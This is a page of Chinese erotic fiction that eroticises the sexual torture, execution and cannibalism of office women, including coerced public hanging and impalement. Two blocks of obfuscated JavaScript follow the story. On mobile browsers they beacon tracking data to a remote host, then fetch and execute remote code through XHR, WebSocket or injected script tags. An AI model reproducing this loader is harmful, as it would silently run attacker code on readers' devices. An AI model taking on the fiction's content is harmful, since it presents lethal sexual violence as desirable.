醒目的标题让我唿吸急促起来,我此时才明白,自己心中对这位迷人的顶头上司从来都存着一种潜在的爱慕与欲望。

这是前一天晓茜接受电视台采访的节目,她一如平时那般散发着亲和力,无拘无束和主持人谈笑风生,主题便是这神秘的办公室死亡游戏,可每每她畅快的笑容却老是会想起那处理台上诱人的肉排。

“很早以前就有这种死亡游戏,但在每个公司,或者说每个写字楼有些差异,但有一点是相同的:如果女职员在办公室里处决那她必须被被一丝不挂的拖出去!”

“我可以理解成这是对游戏受虐方的一种侮辱吗?”

“也可以这么想,不过我觉得这是双方达成的一种半强制性的协议,它更多的代表女人的意愿,至少这几天,每当想起自己也会这样,我都会忍不住兴奋!”

“好了晓茜,我们不讨论这个,如果再说下去,你恐怕忍不住要在节目中现场演表演一番了!”主持人结束了这个话题:“晓茜,办公室里,这个以外你还玩过什么刺激的游戏!”

“我曾经试过被锁在马桶上,为此公司男厕所还特地翻修过一次,阿满在马桶两边加了扶手,这样我的身体可以趴在上面牢牢的被束缚带固定住!”

“你穿衣服吗?”

“当然,不过仅限于靴子和束胸,如果头套也算的话,我必须保证下体是完全裸露的,这样每个上厕所的男性职员都可以从后面和我来一次!”

“这也算是一种福利吗?听起来倒是不错!”

“可事实上并不是这样,有一个可恶的家伙走了我的后门,我那里从来没被用过,整整两天,我走路的样子都很怪。”

“然后呢?我听说女人都很记仇,越漂亮越是!”

“于是我狠狠的算计了他一把,让他整整三个礼拜顶着黑眼圈来上班。”她的话让我忽然明白了自己被她算计的真正原因,“看来以后你要在那里挂个牌子写上‘此门禁入’!”

“我想不会有以后了!”

“我想也是,晓茜,祝你明天好运!”

镜头晃动中,屏幕上徐总浑圆的屁股诱人的摇摆,或许是最后一天的缘故,她穿了一件白色的露肩上衣,灰色的套裙堪堪只遮住半条迷人的大腿,修长笔直的大腿在黑色丝袜的衬托下更增加了一些别样的诱惑。

“徐小姐,他们一般会怎样对待你这种参加游戏的女职员!”

“一般情况下会先有两到三个小时的性爱游戏,我一个女人和大概十几个男人,至于他们会是谁我现在也不得而知。”画面在她走进总公司会议室后停住了。

屏幕上出现几行黑色的大字:我们未能得到跟随拍摄这场激烈的性爱游戏的权利,公司高层仅允许我们拍摄她被处决时的情景。幸运的是通过她的关系,我们还是弄到了几张照片,这位迷人的白领丽人在最后一次疯狂的性爱中的展示了她独特的魅力。

总公司办公室里,一根突兀绞索格外显眼,十几个脸上打了码的男人或坐或立,徐总身上只剩下那条性感的黑色丝袜与一条沾满爱液的黑色蕾丝内裤,她分开双腿跪在地上,嘴里含着一根男根熟练的吞吐着,不一会那,男人发出一声低吼在她嘴巴里爆发出来。

站起来和十几个男人一一拥抱后,穿着刽子手服饰的男人把她双手反绑在背后,那湿淋淋的蕾丝内裤被拉到她膝盖部位,让她向外泌着爱液的小穴彻底暴露在空气中。

雪白绞索套在她白皙的脖颈上,穿着整洁西装的男人托起她精致的下巴吻在她娇艳的红唇上,刽子手又一次从后面深深的进入她的身体的同时拉起绞索。她迷人的身体尽量紧绷,穿着黑色高跟鞋的双足努力踮起承受自身的重量,敏感的身体却在身后男人的撞击下一次次战栗,每一次都让她离死亡更近一步。娇艳的红唇无力的张开,她迷人的香舌已经无法和男人纠缠在一起,刽子手勐的拉下手中的绳索,她精致的脚尖终于完全离开了大地。

为了让所有人欣赏到她迷人的空中舞蹈,刽子手在她身体里捅了几下后拔出肉棒。黑色签名笔分开她两片娇嫩的花蕊,让那粉红的洞穴彻底敞露出来。

徐总雪白的大腿徒劳的一张一合挣扎,裹在丝袜里的小腿重复着无意义的伸直与屈起,晶莹的玉露从敞开的穴口飞溅而出。身后的刽子手抱住她半空中挣扎的身体,粗壮的男根再次没入她迷人的身体,窒息中的徐总下意识的夹住那根入侵的异物,在刽子手疯狂的撞击下达到一次前所未有的高潮,后者也在同时把酝酿已久的精液尽数注入她迷人的身体里。

清澈的爱液与白色的精液从她敞开的美穴里涌出,在那性感的黑色丝袜上形成一滩诱人的水渍,她双手在身后奋力挣扎,迷人的腰肢在以一种特有的韵律扭动,雪白的大腿时不时的踢蹬几下甩出一滴滴晶莹的爱液。我甚至开始想,这并不是一次处决,而是一场‘秀’,她在绞索上整整挣扎了十几分钟之久之后,刽子手用一根尖利的金属棒结束她生命的之时,她迷人的身体爆发出一次前所未有的高潮……

徐总身体按照惯例一丝不挂的从会议室里拖出来,一路上展示了自己身体所有秘密之后,放在楼下大厅里等待餐馆前来收取,唯一不同的是插在她身体里那根黑色的尖刺始终没有拔出。

我倒了一杯凉水勐灌下去,这才感觉似乎清醒了一些,围在电脑前的阿康与老刘狠狠的吞了口唾液,而箐箐的眼睛有些迷离!

“这块东西!”我插起徐总诱人的阴排,一滴滴诱人的酱汁从哪敞开的肉穴里涌出,像极了她生前向外冒着爱液的样子:“箐箐,这是我享用的第一块阴排,给我拍张照片吧?”

直到很多年后,在外地出差的我收到妻子箐箐寄来的一份阴排时,我才明白这天的事情对她影响有多大——那份阴排是属于她的,她要使用事实证明自己并不比徐总差。

5、约会

“对,晚上六点,我公司楼下,能看到大广告牌正面的地方!”聂冰修长白皙的脖颈夹着电话,在一份白皮文件上签下自己的名字。

“你今天穿的什么衣服,好几年没有见面,我怕到时候认不出你了!”电话那头男人慵懒的的道。

“小兰,把这个交给白总!”她用手掩住电话,把文件递给旁边的助理:“告诉他我没改变主意,游戏继续!”

“你就对自己的记忆力这么没信心?”她摆出一个迷人的姿势坐下,一双迷人的眼睛出神的望着窗外。

“是怕你漂亮的让我不敢认出来了!”

“我打包票你一定会一眼认出我,至于我的衣服,一定会让你大吃一惊的!”她顿了顿,以一种戏虐的语气道:“对女孩子表白要选一个合适的环境,你这样很没诚意!”

电话那边响起一阵爽朗的笑声:“聂冰你还是那样,好了,晚上见面再说,说不定我真的会向你表白!”

下午四点,迷人的业务部主管聂冰在员工惊异的目光中敲开白总办公室,要知道,这个女人虽然才华横溢却一直和老板不怎么对脾气,更让他们想不到的是第二天那个爆炸性的新闻。

日渐西斜,办公楼里人们完成一天的工作,下班的人群让这座市中心的写字楼变的熙熙攘攘起来。而此时,七楼一间办公室里正在上演着无比香艳的一幕,百叶窗已被拉开,浑身赤裸的女人被男人压在落地窗上,诱人的背部紧紧贴着玻璃,雪白的玉臂环绕在男人脖子上,一双修长结实的大腿缠住男人健壮的腰肢,在他一次次狂野的抽送中在半空中划出一道道美丽的弧线。

“白总!”女人呢喃着,激烈的肉搏中,汗水浸湿了娇嫩的肌肤,在夕阳的照射下现出诱人的麦黄色。

“你这骚货,这是最后一次了!”男人狠狠的在她身体里来了几下,让她转过身来趴在窗前,硕大的龟头分开她娇嫩的花蕊径直闯进去。

“我今天晚上还有个约会!”

“恐怕你要爽约了!”男人从后面拉起她的手臂,让她迷人的身体弯成一个漂亮的S型,她饱满的双乳不得不紧紧贴在玻璃窗上。

“不会的,我和他约好在楼下见面!”

或许是她的话起了作用,肉棒又一次在她潮湿的甬道里律动起来,结实的身体撞上她丰满的屁股,激起阵阵诱人的臀波,硕大的肉棒直捅花心,让聂冰忘却了这是她最后一次,用尽全力紧紧握住深入的肉棒,闭上眼睛尽情的享受着死亡前的快感。不觉间,她面前的玻璃在遥控器的控制下升起,上半身在男人的压迫下伸出窗外,阵阵凉风掠过,她尖翘的酥乳上起了一层可爱的鸡皮嘎嘎。

感觉到她下体开始有节律的抽搐,男人知道她已经到了最关紧时刻,大肉棒狠狠抽了几下,一股滚烫的精液射进她子宫深处,那聂冰被这股阳精一浇顿时达到了顶峰,迷人的身体忘乎所以的战栗起来。

“再见了!”男人松开她的手臂,在她迷人的背部狠狠一推。

写字楼下,郑晓已经不知道已经是第几次拨打同一个号码,电话里嘟嘟的忙音让他一阵焦躁。他抬起头四处张望,希望可以看到那个熟悉的身影,却每一次总带来更大的失望——聂冰是个很守时的女人,在他的记忆力这个女人还从来没有迟到过。

“楼上那个女人!”

一阵惊唿声打断了他的思绪,他抬起头看到一个黑影从天而降,依稀间似乎是个没有穿衣服的女人。

“砰”的一声,女人身体砸在地面上,几个站在边上的女人禁不住捂住嘴巴。可作为一个男人,吃惊的同时,郑晓第一眼却是被她的身材吸引住了,丰满的胸脯、纤细的腰肢,身上的东西该大的大该小的小,一对滚圆却不失修长的大腿叉开来疯狂的抖动。

她脑袋歪在一边,显然在落下那一刻已经失去了生命,那迷人的腰肢却疯狂拱起,平坦的小腹如波浪般抽搐着,敞开的尻穴里一股股爱液与精液的混合物止不住的涌出——她竟是在与男人欢爱到高潮时被人扔下来的,虽已死亡,身体却依然保持着本能的反应,已经有人拿起相机记录下这香艳的一幕。

“骚货聂冰!”女人肚皮上几个黑色的大字如利刃般刺进他心中。

“不是,这不是真的!”郑晓不敢相信这具在地上挣扎着的女尸竟是多年未见的聂冰,更不敢翻动她的身体查看她的面容。只是眼睁睁的看着她迷人的肉体在地上爆发出一个个有一个高潮!

她上午电话里那似乎是开玩笑的话环绕在他耳边:“我打包票你一定会一眼认出我,至于我的衣服,我想一定会让你大吃一惊的!”

殷洪的血迹在她身下的地面上蔓延开来,她性感的肉体终于在最有一次爆发后彻底失去活力,一股清澈的赤裸的身体静静的躺在办公楼前的大街上任人观赏。郑晓双手颤抖着翻开她歪在一边的脑袋,那如画的容颜不是聂冰还能是谁,他仿佛听到她在说:“看,我没有爽约吧!”

6、装饰

“你真要做一次装饰品吗?”我从后面搂住晓茜纤细的腰肢,一只手在她套裙里探索着,她的身体不由自主的颤动起来:“要知道,那大概只有二十分钟的时间!”

“我想我可以坚持久一些!”晓茜是个美丽的女人,同时她也是固执的:“你可以把我多挂会,阿吉,你不觉得有这样一件装饰品是件很有面子的事情吗?”

“好吧,我被说服了!现是我检查一下装饰品质量的时候了!”她今天没有穿内裤,潮湿的下体无声的证明着她此时的兴奋。我撕下她的套裙,粗暴的把她按在桌上,灼热的下体狠狠进入她迷人的身体,一阵若有若无的呻吟声从总裁办公室里传出。

清晨,明媚的阳光穿过窗子射进办公室里,我像往常一样沏了杯浓浓的咖啡,花盆旁边,一个双手反绑的身后女人在绞索上挣扎着,办公室大门敞开着,从外面的某个角度恰好可以看到她赤裸的肉体。作为一个装饰品,徐晓茜除了黑色的吊带丝袜之外便是脚上那对水晶高跟鞋了。

迷人的嘴巴里塞着一颗红色的口塞,雪白的脖颈被绞索狠狠勒住,喉咙时不时的发出一些无意识的咯咯声,晶莹的口水顺着她嘴角流下,沾湿了她雪白的胸脯。离地一米多高的美腿无助的踢蹬,赤裸的身体在半空中荡漾,两颗酥乳如白兔般调皮跳动,黑色的裤袜带之下,浓密诱人的三角地带挂着晶莹的爱液,粉红色的肉缝随着她双腿开阖时隐时现。

在办公室处决一个女人只需要在天花板上装上一个滑轮,早上,我在那下面享受她最后一次服务,似乎因为死亡的临近她格外痴缠,那潮湿的紧窄充满了火热的激情,竟是让我几分钟便交了货。我喜欢把绞索套在她脖颈上上感觉,她的兴奋与无助和下体流淌的着的爱液让我无法忘怀,当我拽着绞索把她迷人的身体拉里地面时,一次前所未有的的高潮在她身体里爆发出来。晓茜性感的踢蹬着,颤栗着下体喷出一股股粘稠的液体,在地板上留下一个女人最后淫荡的痕迹。作为奖励,我从后面又给她来了一次,然后打开办公室的大门,拉开百叶窗,让她绞索上迷人身体彻底暴露出来。

“董事长!”虽然大门敞开,业务部的小刘仍习惯性的敲了敲门,看到我抬起头这才进来,当然绞索的上的晓茜性感的肉体让他一阵惊艳。

“这份协议要您签字才能生效!”小刘把文件放在我桌上,眼睛却不是偷瞄绞索上的晓茜,我也没有说破,随口问了些工作上的事情后把他打发走。

我低下头继续工作,丝毫不理会在绞索上挣扎的女人,仿佛她真的是件特殊的装饰品,直到一声爽朗的笑声响起:“阿吉,看来你又要换秘书了!”他叫阿康,是我从小玩的大的伙伴,现在也算是个不小的老板了,今天我约了他谈合作事宜。

“你这个女秘书还真不赖!”没有公司员工的顾忌,阿康分开晓茜两片粉嫩的阴唇,长长的手指插进她迷人的下体。后者在他这番刺激下,两腿紧紧夹住,下体喷涌出一股晶莹粘稠的爱液。

“你打算怎么处理她,餐馆,或者肉联厂!”

“我希望是餐馆,她的身材多半会被整体烧烤。可她坚持要去肉联厂,大概是超时里真空包装的肉排见多了。”

“你没告诉她,那样有可能被做成宠物食品!”

“可她是个很固执的女人。”

“但愿以后你能在超时的货架上找到她!”阿康找了个椅子坐下欣赏晓茜美妙的舞姿:“她挂在这上面多久了。”

“大概十几分钟了!”我笑着道:“她应该会在上面呆久一些,晓茜是个要强的女人,无论哪方面都想做的比别人好!”

“打个赌怎么样,她坚持25分钟以上,下次聚餐我让箐箐做主菜!”阿康不相信一个女人可以在绞索上呆这么久。

“好吧,如果她做不到,我会让餐馆把她做成烤全女送到你家作为今天的晚餐。”

“晓茜,如果你帮我赢了这场赌约,我有一个惊喜送给你!”我走过去托住晓茜迷人的下巴,签名笔插进她敞开的下体:“我柜子里有根带有底座穿刺杆,我可以保证让你在上面呆上两个小时,我指的是放在公共办公区中央。”

作为响应,她裹着黑色丝袜的迷人大腿勐的开阖几下,下体迷人的小嘴紧紧夹住黑色的签名笔吮吸起来。

“好吧,我们接下来谈些生意上的事情吧!”我取下手表放在桌上:“等到时针到这里,我们看看她是不是还活着!”

“这很公平!”阿康看了看时间:“如果她真的做到了我也会到超时的货架上找找,为了留下悬念,我们从现在开始谁也不要看她!”

“这可以作为赌注的一部分!”我最后看了一眼绞索上挣扎着的晓茜:“我想她也会喜欢这个提议的!”似乎是为了回应我的话,她迷人的肉体在绞索上扭动起来,沾满了爱液的签名笔啪的一声落在地上。

我和阿康开始讨论合作大体框架,虽然晓茜不时还弄出点动静来,我们两个按照赌约都没有搭理她。唯一让我担心的是,到了后来,她的动静越来越小,似乎已经听不到了,阿康胜利的笑容让我有些后悔这个赌约了。

“嗨,时间到了!”阿康打断我的话:“看来我要打电话通知箐箐不要准备晚餐了!”

我失望的转过头转过头,晓茜却给我带来惊喜,她没死,虽说她身体仅剩下一些抽搐而已,但灵动的眼睛和仍在尽力扭动的屁股证明她确实还活着,我想她多半只剩下最后一口气了:“我还是第一次觉得她的屁股扭的如此动人!”阿吉瞪大的眼睛让我找回胜利的感觉:“箐箐的阴排不错,我预定了!”

“我怀疑你们两个是串通好的!”阿吉无奈的道,其实我知道他想宰掉箐箐已经很久了,只可惜一直没有合适的接口。

“阿康,能帮我把她拉高一些吗?现在该是晓茜享受胜利果实的时候了!”我从柜子里拿出穿刺,但显然晓茜的高度太低了。

“看在她已经快死了的的份上我愿意帮这个忙。”阿康说着用力拉滑轮另一端的绳索,似乎由于脖子上的绳索再次收紧,晓茜迷人的身体再次勐烈的抽动起来,两条雪白的大腿用力张开,一股清澈的爱液从下体喷涌而出。

“好了!”她的身体大概被拉高了几十厘米左右,我把穿刺杆移到她身体正下方,锋利的尖端正好分开她两片肉唇戳进去,晓茜下体蠕动着吮吸着穿刺杆,雪白的臀部摇摆着让我想起她坐在男人身上研磨的情景,只见饱满的阴户裹着插进身体里的异物,晶莹的爱液顺着穿刺杆蜿蜒而下,一时间连阿康也看呆了。“我敢打赌箐箐一定做不到她这样!”他吞了口口水嘟囔着。

“可惜你已经没有赌注了!”我笑了笑:“我现在很想割掉她的绞索,我想那肯定非常精彩!”

“我们不能这样做,这样那东西很有可能不是从她迷人的嘴巴里出来的!”阿康道。

“我想你是对的!”我摘掉晓茜的口塞,这东西会挡住穿刺杆前进的脚步,几滴晶莹的泪水顺着晓茜漂亮的眼角淌下,让我觉得有些太过分了:“晓茜,你应该知道,从被吊起来那刻起,你已经失去了决定自己命运的权利,祝你幸福!”

我吻掉她眼角的泪水,从阿康手中接过绞索,随着身体缓缓放下锋利的穿刺杆毫无阻碍的没入她性感迷人的肉体,我甚至可以听到那东西戳破她内脏的声音,就好像戳破了皮球一样,忽然间她性感迷人的肉体疯狂的挣扎起来,两条穿着黑色吊带丝袜的美腿以穿刺杆为中心跳起迷人的舞步,两颗饱满的奶子随着身体的挣扎疯狂的跳动着,一股股无色的液体从她下体与穿刺杆交合处溢出。

“看来她快完了!”阿吉道。我点了点头,手中的绳子勐的向下一放,她挣扎着的身体向下坠去,锋利的钢刺瞬间捅到她胸脯位置。

我把绳子交给阿吉,握住晓茜的脑袋让她尽量扬起来,后者身体挣扎着,两条浑圆的大腿踢蹬着,喉咙里发出咯咯的响声。

“永别了晓茜!”阿吉松开绞索,晓茜的身体再次向下坠去,穿刺杆锋利的尖端顺利的从她迷人的红唇中传出,迷人的眼睛失去神采的瞬间,她爆发出一次前所未有的高潮,身体围绕着那根穿过她身体的东西疯狂的挣扎起来。真是个迷人的妖精,我把副杆插进她肛门里,把她身体固定住。

徐晓茜的身体在穿刺杆上挣扎了好一会这才停下来,为了今天的处决,她早行喝了很多清水,清澈的尿液顺着穿刺杆淅淅沥沥的淌下,构成了她生命最后的旋律。

“你把这个搬到办公区中央!”

“但是老板,我怎么和员工解释!”后勤的老赵摸着地中海化的脑袋!

“就说是为了美化办公区新买来的装饰品!”我笑着道,这鬼话当然没人会相信,但已经足够了,重要的是晓茜一定会满意的。

7、处罚

轻抬美足,丝袜一寸寸套在纤细的美腿上,婉茹穿衣的姿势都让我百看不厌。她是个漂亮的女人,身材姣好,穿着套装的身姿尤为动人,我从后面抱住镜子前仔细的整理套装上的瑕疵的妻子在她耳边道:“你每次都这么仔细!”

“刷你的牙去!”妻子打回我作怪的手,用工笔修了修眉角:“公司规矩很严,去年就有女秘书因为穿衣不规范被绞死!”

“她被绞死的照片现在还仍在办公区最显眼的位置!”我用她的语气重复着——这件事情我已经听她说过好多遍了。自政府为了严肃办公场所秩序,将死刑权限下发至企业后,部分公司针对女性员工着装与行为制定了严厉的规范,婉茹所在的公司便是其中之一。虽然规矩严厉,鉴于丰厚的薪资福利和以后的发展前景,婉茹还是在半年前进了这家公司——就算这家以规矩严厉着称的公司去年也只处决了一名女职员,以婉茹的精明干练,触犯规范的可能性更是微乎其微。

一上午的会议让我头昏脑涨,在外面随便吃了顿饭回到办公室,正想给婉茹打个电话,却见几个同事围在阿成电脑前,不由的随口问阿成道:“干什么呢!”

“今天上午新出的视频,女OL违反办公室规范被绞死,那女的长的真正点!”阿成扭过头道:“给阿吉让个位置!”

“哦!”我心中一阵好奇,虽然在帝都经常传出女职员被公开处死的消息,流出的视频却并不多,心中不免有些好奇,禁不住也凑过去。画面上是干净整洁的办公区,身着黑色套装的女人双手被人反剪着站在镜头前,一米高的三角椅放在女人面前,长长的索套从天花板上垂下,那是,我揉了揉眼睛,淡淡的容妆,精致美丽的脸蛋,这个要被绞死的女人不是婉茹又是谁。

“你们不是看的视频秀吧!”我试探的问道。

“当然不是,截图上,这个女人最后尿都被勒出来了,死的不能再死了。”阿成道:“帖子上说就是上午十点钟被绞死的,按他们公司的规矩,现在尸体还挂在公司办公区示众!”阿成的话打破我的期盼,但是我还是有一丝侥幸,或许这只是演戏。

一群穿着工装的男男女女围在四周,四十多岁的秃顶男人站在婉茹面前大声宣布道:“沈婉茹,女,24岁,违反办公室着装规定在办公区穿着带有划痕丝袜,经公司董事会裁定处以绞刑,暴露性器示众半天以儆效尤!”

“沈婉茹,你可有异议!”

“我!”眼泪充满婉茹美目,张了张嘴似乎在犹豫!

“你可有异议!”男人厉声道,婉茹咬了咬嘴唇:“没有!”

婉茹双手被反绑在背后,动人的身体被推到凳子上,出于对死亡的恐惧,她本能的身体向后退缩,动人的娇躯微微颤抖,似乎随时都可能倒下,身后的刽子手好似早就料到这些,稳稳扶住她娇纤细的身体把绞索套在她娇嫩的脖颈上。

“不!”我心中呐喊着,却见那秃头男人扒下婉茹黑色的一步裙,我忽然想起刚刚那男人话里暴露性器的词汇,难道他们要……

穿着黑色高根鞋的婉茹禁不住夹紧双腿,腿部美妙的曲线配上黑色丝袜越发楚楚动人,她今天穿着去年生日时我送的黑色的蕾丝内裤,下体的黝黑若隐若现。一抹红晕爬上婉茹的脸颊,她摇着头希望刽子手不要继续,可后者却毫不犹豫的拉下她的内裤,剥掉她最后一丝尊严,让她神秘的下体完整的暴露在观刑的人们面前——电脑面前,几个男人唿吸粗重起来。

刽子手解开她上身套装纽扣,割开她黑色的文胸,让她雪白梨形的酥乳几乎大半个暴露在空气中,婉茹的乳房不是特别大,确实是完美和坚挺,鲜红的乳头因为羞涩颤抖着,裸露在外面的肚皮绷的紧紧的,深陷的精致肚脐散发着诱人的光彩,就连我也有种错觉,她似乎这时才是最性感的。望着镜子中她无助的眼神,我禁不住闭上眼睛,她居然要用这种屈辱的方式当众处死,这对其他所有人来说似乎都是一种福利,却对她如此残忍,我当初不应该答应让她去那个公司。

无助的眼神从人们身上一一扫过,近乎赤裸的身体在凳子上让人观赏,在人们充满欲望的眼神中,身体由于羞耻而敏感,诱人的下体渐渐被爱液浸湿。出于羞辱的目的,那秃头男人用签名笔分开她潮湿的花瓣,让她因为兴奋而敞开的小穴完整的暴露在人们面前,婉茹夹紧的双腿在这突然刺激下缓缓张开,一股清澈的花露从她身体深处喷涌而出。

感觉到差不多,秃顶男人点了点头,充当刽子手的男人抓住婉茹脚下凳子,我迷人的妻子含泪朝他摇了摇头,可后者还是毫不犹豫的抽掉了凳子。瞬时间失去支撑,婉茹穿着黑色高跟鞋的美足反射性的向下蹬,带着两条穿着丝袜的美腿也不由自主的张开。她的身材娇小玲珑却非常完美,高跟鞋的衬托下却是多了几分修长,重力作用下她脖颈绞索一丝丝收紧,娇躯开始本能的挣扎起来,绑在身后的双手攥的


上一篇:痛奸明星贾静雯(图文)

下一篇:我和我深爱的GG的story


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};